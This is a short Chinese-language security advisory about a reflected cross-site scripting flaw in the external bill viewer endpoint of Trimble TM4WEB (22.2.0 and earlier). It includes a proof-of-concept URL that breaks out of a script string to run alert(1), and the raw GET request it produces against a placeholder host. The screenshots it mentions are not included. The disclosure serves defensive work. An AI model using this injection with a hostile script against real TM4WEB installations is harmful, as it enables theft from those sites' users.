在 Trimble TM4WEB <=22.2.0 中,外部账单查看器(external bill viewer)端点存在反射型跨站脚本(XSS)漏洞,可通过在附加到 URL 的任意参数中注入脚本加以利用。
步骤 1:
以下示例 URL 将触发该漏洞,并执行 JavaScript 的 alert() 函数,显示数字 1 作为概念验证。 据研究人员观察,该漏洞在迄今为止其见过的每一个 TM4WEB 安装实例上均能生效。 使用非真实站点的恶意 URL 示例:
https://example-tm4web.com/trace/external_bill_viewer.msw?foo=bar"}%27);alert(1);<!--
该 URL 会触发以下恶意 GET 请求。
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);alert(1);%3C!-- HTTP/1.1
Host: example-tm4web.com
Connection: close
该请求利用了易受攻击的 external_bill_viewer.msw 端点的任意参数。
该攻击会在 HTTP 响应的第 84 行造成有效的 JavaScript 代码注入,如下方截图所示:

下方展示了示例注入及其产生的 alert(1) 载荷的 JavaScript 执行结果: